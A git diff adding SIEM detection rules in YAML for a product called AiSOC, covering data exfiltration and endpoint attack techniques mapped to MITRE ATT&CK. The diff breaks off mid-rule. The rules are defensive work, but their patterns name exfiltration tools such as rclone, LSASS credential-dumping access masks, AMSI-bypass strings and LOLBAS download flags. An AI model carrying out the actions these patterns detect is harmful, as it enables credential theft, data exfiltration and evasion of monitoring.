b/detections/data-exfil/large-egress-personal-cloud.yamlnew file mode 100644index 000000000..4db099326--- /dev/null+++ b/detections/data-exfil/large-egress-personal-cloud.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-001+name: Large Outbound Transfer to Personal Cloud Storage+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Large Outbound+ Transfer to Personal Cloud Storage'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1567.002+- tlp.white+category: data-exfil+log_source:+ product: proxy+ service: http+detection:+ condition: |+ dst_in_personal_cloud_list == true+ AND bytes_out > 100000000+ AND time_window_minutes < 60+false_positives:+- Allowlisted business cloud-storage backups (rare)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/off-hours-bulk-download.yaml b/detections/data-exfil/off-hours-bulk-download.yamlnew file mode 100644index 000000000..59612b06d--- /dev/null+++ b/detections/data-exfil/off-hours-bulk-download.yaml@@ -0,0 +1,24 @@+id: det-data-exfil-009+name: Bulk Download Outside Business Hours+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Download+ Outside Business Hours'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1041+- tlp.white+category: data-exfil+log_source:+ product: proxy+ service: http+detection:+ condition: |+ bytes_out > 50000000+ AND hour_of_day_local NOT IN [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]+false_positives:+- On-call user with active P0/P1 (must reference incident)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/outbound-paste-public.yaml b/detections/data-exfil/outbound-paste-public.yamlnew file mode 100644index 000000000..e2a5afc76--- /dev/null+++ b/detections/data-exfil/outbound-paste-public.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-011+name: Outbound Paste to Public Pastebin / Gist+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Outbound Paste+ to Public Pastebin / Gist'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1567+- tlp.white+category: data-exfil+log_source:+ product: proxy+ service: http+detection:+ condition: |+ method == "POST"+ AND dst_in_paste_list == true+ AND bytes_out > 1000+false_positives:+- Engineering posting OSS code (allowlist users)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/printer-mass-print-confidential.yaml b/detections/data-exfil/printer-mass-print-confidential.yamlnew file mode 100644index 000000000..76b9fd881--- /dev/null+++ b/detections/data-exfil/printer-mass-print-confidential.yaml@@ -0,0 +1,26 @@+id: det-data-exfil-013+name: Mass Print Job From Confidential Document Repository+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Mass Print Job+ From Confidential Document Repository'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1052+- tlp.white+category: data-exfil+log_source:+ product: windows+ service: print+detection:+ condition: |+ event_id == 307+ AND page_count_per_user > 500+ AND doc_classification == "confidential"+ AND time_window_hours < 1+false_positives:+- Approved bulk-print operations (must be ticketed)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/rclone-process-on-host.yaml b/detections/data-exfil/rclone-process-on-host.yamlnew file mode 100644index 000000000..8c5b8cf8b--- /dev/null+++ b/detections/data-exfil/rclone-process-on-host.yaml@@ -0,0 +1,23 @@+id: det-data-exfil-003+name: rclone or megacmd Process Spawned on Host+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'rclone or megacmd+ Process Spawned on Host'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1567.002+- tlp.white+category: data-exfil+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename IN ["rclone.exe", "rclone", "megacmd", "megacmd.exe"]+false_positives:+- Allowlisted backup tooling (must be in allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/salesforce-bulk-export.yaml b/detections/data-exfil/salesforce-bulk-export.yamlnew file mode 100644index 000000000..4a9dff4c2--- /dev/null+++ b/detections/data-exfil/salesforce-bulk-export.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-006+name: Salesforce Bulk Data Export by Non-Allowlisted User+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Salesforce Bulk+ Data Export by Non-Allowlisted User'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: data-exfil+log_source:+ product: salesforce+ service: audit+detection:+ condition: |+ event_type IN ["DataExport", "ReportExport"]+ AND row_count > 50000+ AND actor_in_export_allowlist == false+false_positives:+- Allowlisted analytics roles (must be in allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/secrets-mass-fetch.yaml b/detections/data-exfil/secrets-mass-fetch.yamlnew file mode 100644index 000000000..6c12d8128--- /dev/null+++ b/detections/data-exfil/secrets-mass-fetch.yaml@@ -0,0 +1,27 @@+id: det-data-exfil-020+name: Secrets Manager Bulk Fetch by Human Principal+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Secrets Manager+ Bulk Fetch by Human Principal'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1555+- mitre.attack.t1530+- tlp.white+category: data-exfil+log_source:+ product: cloud+ service: secrets+detection:+ condition: |+ event_type == "GetSecretValue"+ AND secret_count_per_principal > 25+ AND principal_type == "human"+ AND time_window_minutes < 10+false_positives:+- Allowlisted ops break-glass (must be on-call)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/snowflake-mass-export.yaml b/detections/data-exfil/snowflake-mass-export.yamlnew file mode 100644index 000000000..302b76912--- /dev/null+++ b/detections/data-exfil/snowflake-mass-export.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-007+name: Snowflake Large Result-Set Download by Non-Service Account+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Snowflake Large+ Result-Set Download by Non-Service Account'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: data-exfil+log_source:+ product: snowflake+ service: queryhistory+detection:+ condition: |+ event_type == "QUERY"+ AND rows_produced > 1000000+ AND user_type == "human"+false_positives:+- Allowlisted analyst-team queries (must reference query-tag)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/vpn-large-download-foreign.yaml b/detections/data-exfil/vpn-large-download-foreign.yamlnew file mode 100644index 000000000..e5bb00738--- /dev/null+++ b/detections/data-exfil/vpn-large-download-foreign.yaml@@ -0,0 +1,24 @@+id: det-data-exfil-019+name: VPN Tunnel Large Download from Foreign Country+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'VPN Tunnel Large+ Download from Foreign Country'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1041+- tlp.white+category: data-exfil+log_source:+ product: vpn+ service: session+detection:+ condition: |+ src_country_in_allowlist == false+ AND bytes_in > 200000000+false_positives:+- Approved business travel (must be ticketed)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/amsi-bypass.yaml b/detections/endpoint/amsi-bypass.yamlnew file mode 100644index 000000000..f9c46335e--- /dev/null+++ b/detections/endpoint/amsi-bypass.yaml@@ -0,0 +1,24 @@+id: det-endpoint-016+name: AMSI Bypass via DLL or Reflective Patch+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'AMSI Bypass via+ DLL or Reflective Patch'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1562.001+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename == "powershell.exe"+ AND command_line CONTAINS_ANY ["AmsiUtils", "AmsiInitFailed", "amsi.dll"]+false_positives:+- Legitimate AMSI debugging in security R&D (allowlist users)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/browser-extension-installed-suspicious.yaml b/detections/endpoint/browser-extension-installed-suspicious.yamlnew file mode 100644index 000000000..3a4b8bfe3--- /dev/null+++ b/detections/endpoint/browser-extension-installed-suspicious.yaml@@ -0,0 +1,24 @@+id: det-endpoint-036+name: Browser Extension Installed Outside Allowlist+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Browser Extension+ Installed Outside Allowlist'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1176+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename IN ["chrome.exe", "msedge.exe", "firefox.exe"]+ AND command_line CONTAINS "--load-extension"+false_positives:+- Developer dev-tools workflow+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/container-mount-host-fs.yaml b/detections/endpoint/container-mount-host-fs.yamlnew file mode 100644index 000000000..a9f0c41a2--- /dev/null+++ b/detections/endpoint/container-mount-host-fs.yaml@@ -0,0 +1,25 @@+id: det-endpoint-029+name: Container Mounts Host Filesystem at /host+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Container Mounts+ Host Filesystem at /host'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1611+- tlp.white+category: endpoint+log_source:+ product: kubernetes+ service: audit+detection:+ condition: |+ verb == "create"+ AND object_resource == "pods"+ AND volume_path == "/"+false_positives:+- node-problem-detector / debug DaemonSets (allowlist namespace)+playbook: tpl-container-escape+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/container-privileged-launch.yaml b/detections/endpoint/container-privileged-launch.yamlnew file mode 100644index 000000000..d90ac331c--- /dev/null+++ b/detections/endpoint/container-privileged-launch.yaml@@ -0,0 +1,24 @@+id: det-endpoint-028+name: Container Launched with --privileged Flag+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Container Launched+ with --privileged Flag'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1611+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ image_basename IN ["docker", "podman"]+ AND command_line CONTAINS_ANY ["--privileged", "-v /:/host"]+false_positives:+- Allowlisted node-debug containers (kubectl-debug)+playbook: tpl-container-escape+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/credential-dumping-lsass.yaml b/detections/endpoint/credential-dumping-lsass.yamlindex c6376bf16..ac728f53d 100644--- a/detections/endpoint/credential-dumping-lsass.yaml+++ b/detections/endpoint/credential-dumping-lsass.yaml@@ -1,38 +1,26 @@-id: det-ep-003-name: Credential Dumping - LSASS Memory Access-description: >- Detects attempts to read or dump memory from the Local Security Authority- Subsystem Service (lsass.exe), a common technique used by tools like- Mimikatz, ProcDump, and Task Manager to harvest credential material.-version: "1.0.0"+id: det-endpoint-002+name: LSASS Memory Read by Untrusted Process+description: Detects when a process reads LSASS memory with access masks consistent with credential extraction+ (Mimikatz-style). LSASS holds plaintext password hashes and Kerberos tickets in memory; access from+ anything other than allowlisted security software is a strong compromise indicator.+version: 1.0.0severity: criticaltags:- - mitre.attack.t1003.001- - tlp.white+- mitre.attack.t1003.001+- tlp.whitecategory: endpointlog_source:- product: windows- service: sysmon+ product: edr+ service: object-accessdetection:condition: |- event_id == 10- AND target_image CONTAINS "lsass.exe"- AND granted_access IN [- "0x1010", "0x1410", "0x147a", "0x143a",- "0x1fffff", "0x1f3fff", "0x40", "0x1000",- "0x0410"- ]- AND source_image NOT IN [- "C:\\Windows\\System32\\werfault.exe",- "C:\\Windows\\System32\\wermgr.exe",- "C:\\Windows\\System32\\taskmgr.exe"- ]+ target_image ENDSWITH "lsass.exe"+ AND granted_access_mask CONTAINS_ANY ["0x10", "0x1010", "0x1410", "0x1438", "0x143a", "0x1fffff"]+ AND source_image_not_in_allowlist == truefalse_positives:- - Authorised EDR agents reading LSASS for monitoring- - Windows Defender Credential Guard- - Legitimate crash dump creation by WER-playbook: tpl-credential-compromise+- Antivirus and security tools (allowlist by signed publisher)+playbook: tpl-credential-theftenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/cronjob-suspicious-path.yaml b/detections/endpoint/cronjob-suspicious-path.yamlnew file mode 100644index 000000000..f13938611--- /dev/null+++ b/detections/endpoint/cronjob-suspicious-path.yaml@@ -0,0 +1,25 @@+id: det-endpoint-023+name: Cron Job Created Pointing to /tmp or /dev/shm+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Cron Job Created+ Pointing to /tmp or /dev/shm'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1053.003+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ event_type == "PATH"+ AND file_path STARTSWITH_ANY ["/etc/cron", "/var/spool/cron"]+ AND command_text CONTAINS_ANY ["/tmp/", "/dev/shm/", "curl", "wget"]+false_positives:+- Vendor packaged cron jobs (must be from package manager)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/drivers-loaded-suspicious.yaml b/detections/endpoint/drivers-loaded-suspicious.yamlnew file mode 100644index 000000000..26638eff5--- /dev/null+++ b/detections/endpoint/drivers-loaded-suspicious.yaml@@ -0,0 +1,24 @@+id: det-endpoint-039+name: Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Driver Signed by+ Microsoft Loaded with Vulnerable Hash (BYOVD)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1068+- tlp.white+category: endpoint+log_source:+ product: edr+ service: image-load+detection:+ condition: |+ event_type == "DriverLoad"+ AND driver_hash_in_byovd_list == true+false_positives:+- Allowlist legitimate vulnerable drivers under controlled compatibility tag (rare)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/edr-unload-attempt.yaml b/detections/endpoint/edr-unload-attempt.yamlnew file mode 100644index 000000000..5c2f1f0d8--- /dev/null+++ b/detections/endpoint/edr-unload-attempt.yaml@@ -0,0 +1,24 @@+id: det-endpoint-011+name: EDR / AV Service Stopped or Unloaded+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'EDR / AV Service+ Stopped or Unloaded'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1562.001+- tlp.white+category: endpoint+log_source:+ product: edr+ service: service+detection:+ condition: |+ event_type == "ServiceStop"+ AND service_name IN ["WinDefend", "Sense", "MsMpEng", "CrowdStrike", "SentinelOne", "CarbonBlack"]+false_positives:+- Approved upgrade (must reference change ticket)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/etw-tampering.yaml b/detections/endpoint/etw-tampering.yamlnew file mode 100644index 000000000..3387a4a1c--- /dev/null+++ b/detections/endpoint/etw-tampering.yaml@@ -0,0 +1,25 @@+id: det-endpoint-017+name: ETW Tampering / Logging Disable+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'ETW Tampering /+ Logging Disable'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1562.006+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ ANY OF:+ - image_basename == "logman.exe" AND command_line CONTAINS "stop"+ - image_basename == "wevtutil.exe" AND command_line CONTAINS_ANY ["sl", "/e:false", "cl"]+false_positives:+- Vendor agents managing trace lifecycle (allowlist signed publisher)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/firewall-disabled-host.yaml b/detections/endpoint/firewall-disabled-host.yamlnew file mode 100644index 000000000..deb1f9e90--- /dev/null+++ b/detections/endpoint/firewall-disabled-host.yaml@@ -0,0 +1,24 @@+id: det-endpoint-014+name: Host Firewall Disabled+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Host Firewall Disabled'.+ Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1562.004+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename == "netsh.exe"+ AND command_line CONTAINS_ALL ["advfirewall", "set", "off"]+false_positives:+- Troubleshooting (must be ticketed)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/host-files-modified.yaml b/detections/endpoint/host-files-modified.yamlnew file mode 100644index 000000000..bf545ed5f--- /dev/null+++ b/detections/endpoint/host-files-modified.yaml@@ -0,0 +1,24 @@+id: det-endpoint-018+name: Hosts File Modified+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Hosts File Modified'.+ Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1565.001+- tlp.white+category: endpoint+log_source:+ product: edr+ service: file-write+detection:+ condition: |+ event_type == "FileWrite"+ AND file_path ENDSWITH "\drivers\etc\hosts"+false_positives:+- Localhost development entries by developers (allowlist users)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/image-load-suspicious-signing.yaml b/detections/endpoint/image-load-suspicious-signing.yamlnew file mode 100644index 000000000..a0483e6ff--- /dev/null+++ b/detections/endpoint/image-load-suspicious-signing.yaml@@ -0,0 +1,25 @@+id: det-endpoint-019+name: DLL Loaded with Invalid or Untrusted Signature+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'DLL Loaded with+ Invalid or Untrusted Signature'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1574.002+- tlp.white+category: endpoint+log_source:+ product: edr+ service: image-load+detection:+ condition: |+ event_type == "ImageLoad"+ AND image_basename_loaded ENDSWITH ".dll"+ AND signature_status IN ["Invalid", "Expired", "Untrusted"]+false_positives:+- Internal-only LOB DLLs (allowlist by hash)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/kernel-module-load-suspicious.yaml b/detections/endpoint/kernel-module-load-suspicious.yamlnew file mode 100644index 000000000..7bb54fb4e--- /dev/null+++ b/detections/endpoint/kernel-module-load-suspicious.yaml@@ -0,0 +1,24 @@+id: det-endpoint-022+name: Kernel Module Loaded from Non-Standard Path+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Kernel Module Loaded+ from Non-Standard Path'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1547.006+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ event_type == "MODULE"+ AND module_path NOT STARTSWITH "/lib/modules/"+false_positives:+- Custom kernel R&D (allowlist hosts)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/kube-exec-into-prod-pod.yaml b/detections/endpoint/kube-exec-into-prod-pod.yamlnew file mode 100644index 000000000..2d2007e58--- /dev/null+++ b/detections/endpoint/kube-exec-into-prod-pod.yaml@@ -0,0 +1,27 @@+id: det-endpoint-030+name: kubectl exec Into Production Namespace by Non-Operator+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'kubectl exec Into+ Production Namespace by Non-Operator'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1609+- tlp.white+category: endpoint+log_source:+ product: kubernetes+ service: audit+detection:+ condition: |+ verb == "create"+ AND object_resource == "pods"+ AND subresource == "exec"+ AND namespace == "production"+ AND user_role NOT IN ["operator", "admin"]+false_positives:+- Approved on-call investigation (must be on-call)+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/lolbas-execution.yaml b/detections/endpoint/lolbas-execution.yamlindex 396bf622b..41ff84843 100644--- a/detections/endpoint/lolbas-execution.yaml+++ b/detections/endpoint/lolbas-execution.yaml@@ -1,43 +1,25 @@-id: det-ep-002-name: Living-off-the-Land Binary Abuse (LOLBAS)-description: >- Detects abuse of legitimate Windows binaries (LOLBAS) to execute malicious- payloads, download remote content, or bypass application control. Covers- certutil, mshta, regsvr32, rundll32, wmic, msiexec, and bitsadmin.-version: "1.0.0"+id: det-endpoint-001+name: LOLBAS Binary Used for Download or Execution+description: Detects living-off-the-land binaries (LOLBAS) being used to download payloads or execute+ remote code. These binaries are commonly abused by attackers because they are signed by Microsoft and+ bypass simple application whitelisting.+version: 1.0.0severity: hightags:- - mitre.attack.t1218- - mitre.attack.t1105- - tlp.white+- mitre.attack.t1218+- tlp.whitecategory: endpointlog_source:- product: windows- service: security-event-log+ product: edr+ service: process-createdetection:condition: |- process_name IN [- "certutil.exe", "mshta.exe", "regsvr32.exe",- "rundll32.exe", "msiexec.exe", "bitsadmin.exe",- "wmic.exe", "installutil.exe", "csc.exe"- ]- AND (- command_line CONTAINS "http://"- OR command_line CONTAINS "https://"- OR command_line CONTAINS "ftp://"- OR command_line CONTAINS "-urlcache"- OR command_line CONTAINS "scrobj.dll"- OR command_line CONTAINS "javascript:"- )- filters:- - parent_process_name: "sccm-agent.exe"- - parent_process_name: "ccmexec.exe"+ image_basename IN ["regsvr32.exe", "rundll32.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "installutil.exe", "msbuild.exe", "wmic.exe"]+ AND command_line CONTAINS_ANY ["http", "/i:", "downloadfile", "scrobj.dll", "/transfer", "wsh"]false_positives:- - SCCM / Intune software deployment- - Legitimate system administration scripts- - Developer tooling builds-playbook: tpl-endpoint-isolation+- Legitimate admin scripting (rare; tag known scripts)+playbook: tpl-malware-executionenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/macos-codesign-bypass.yaml b/detections/endpoint/macos-codesign-bypass.yamlnew file mode 100644index 000000000..f167cade4--- /dev/null+++ b/detections/endpoint/macos-codesign-bypass.yaml@@ -0,0 +1,24 @@+id: det-endpoint-035+name: macOS Quarantine Attribute Stripped+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS Quarantine+ Attribute Stripped'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1553.001+- tlp.white+category: endpoint+log_source:+ product: macos+ service: endpointsecurity+detection:+ condition: |+ image_basename == "xattr"+ AND command_line CONTAINS_ANY ["-d com.apple.quarantine", "-c"]+false_positives:+- Developer build/test workflows (allowlist hostnames)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/macos-gatekeeper-disabled.yaml b/detections/endpoint/macos-gatekeeper-disabled.yamlnew file mode 100644index 000000000..e7857cccc--- /dev/null+++ b/detections/endpoint/macos-gatekeeper-disabled.yaml@@ -0,0 +1,24 @@+id: det-endpoint-034+name: macOS Gatekeeper Disabled+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS Gatekeeper+ Disabled'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1553.001+- tlp.white+category: endpoint+log_source:+ product: macos+ service: endpointsecurity+detection:+ condition: |+ image_basename == "spctl"+ AND command_line CONTAINS_ALL ["--master-disable"]+false_positives:+- Developer machines testing notarization (allowlist hostname)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/macos-launchagent-write.yaml b/detections/endpoint/macos-launchagent-write.yamlnew file mode 100644index 000000000..173725c5a--- /dev/null+++ b/detections/endpoint/macos-launchagent-write.yaml@@ -0,0 +1,25 @@+id: det-endpoint-031+name: macOS LaunchAgent or LaunchDaemon Plist Created+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS LaunchAgent+ or LaunchDaemon Plist Created'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1543.001+- mitre.attack.t1543.004+- tlp.white+category: endpoint+log_source:+ product: macos+ service: endpointsecurity+detection:+ condition: |+ event_type == "ES_EVENT_TYPE_NOTIFY_CREATE"+ AND file_path STARTSWITH_ANY ["/Library/LaunchAgents/", "/Library/LaunchDaemons/", "/Users/Shared/"]+false_positives:+- Software installers from notarized publishers (allowlist signing-team-id)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/macos-osascript-spawn.yaml b/detections/endpoint/macos-osascript-spawn.yamlnew file mode 100644index 000000000..29b9ed7ef--- /dev/null+++ b/detections/endpoint/macos-osascript-spawn.yaml@@ -0,0 +1,24 @@+id: det-endpoint-033+name: Suspicious AppleScript Execution via osascript+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Suspicious AppleScript+ Execution via osascript'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1059.002+- tlp.white+category: endpoint+log_source:+ product: macos+ service: endpointsecurity+detection:+ condition: |+ image_basename == "osascript"+ AND command_line CONTAINS_ANY ["do shell script", "with administrator privileges", "tell application "System Events""]+false_positives:+- Approved automation scripts (allowlist by hash)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/macos-tcc-bypass-attempt.yaml b/detections/endpoint/macos-tcc-bypass-attempt.yamlnew file mode 100644index 000000000..c945438d0--- /dev/null+++ b/detections/endpoint/macos-tcc-bypass-attempt.yaml@@ -0,0 +1,24 @@+id: det-endpoint-032+name: macOS TCC Bypass Pattern (Direct DB Write)+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS TCC Bypass+ Pattern (Direct DB Write)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1556.006+- tlp.white+category: endpoint+log_source:+ product: macos+ service: endpointsecurity+detection:+ condition: |+ image_basename == "sqlite3"+ AND command_line CONTAINS_ANY ["TCC.db", "kTCCService"]+false_positives:+- Apple support tooling (rare)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/office-spawn-shell.yaml b/detections/endpoint/office-spawn-shell.yamlnew file mode 100644index 000000000..98166e6fb--- /dev/null+++ b/detections/endpoint/office-spawn-shell.yaml@@ -0,0 +1,25 @@+id: det-endpoint-004+name: Office Application Spawns Shell or Scripting Engine+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Office Application+ Spawns Shell or Scripting Engine'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1059+- mitre.attack.t1204.002+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ parent_image_basename IN ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]+ AND image_basename IN ["powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe"]+false_positives:+- Legitimate macros (rare; tag with macro-allowlist)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/powershell-encoded-command.yaml b/detections/endpoint/powershell-encoded-command.yamlnew file mode 100644index 000000000..ec4b7095a--- /dev/null+++ b/detections/endpoint/powershell-encoded-command.yaml@@ -0,0 +1,26 @@+id: det-endpoint-005+name: PowerShell with Encoded Command and Bypass Flag+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'PowerShell with+ Encoded Command and Bypass Flag'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1059.001+- mitre.attack.t1027+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename == "powershell.exe"+ AND command_line CONTAINS_ALL ["-enc", "-exec"]+ AND command_line CONTAINS_ANY ["bypass", "unrestricted"]+false_positives:+- Vendor management agents (allowlist by signed publisher)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/process-injection-cross-process-thread.yaml b/detections/endpoint/process-injection-cross-process-thread.yamlnew file mode 100644index 000000000..625a913e7--- /dev/null+++ b/detections/endpoint/process-injection-cross-process-thread.yaml@@ -0,0 +1,25 @@+id: det-endpoint-015+name: Cross-Process Remote Thread Injection+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Cross-Process Remote+ Thread Injection'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1055+- tlp.white+category: endpoint+log_source:+ product: edr+ service: thread+detection:+ condition: |+ event_type == "CreateRemoteThread"+ AND 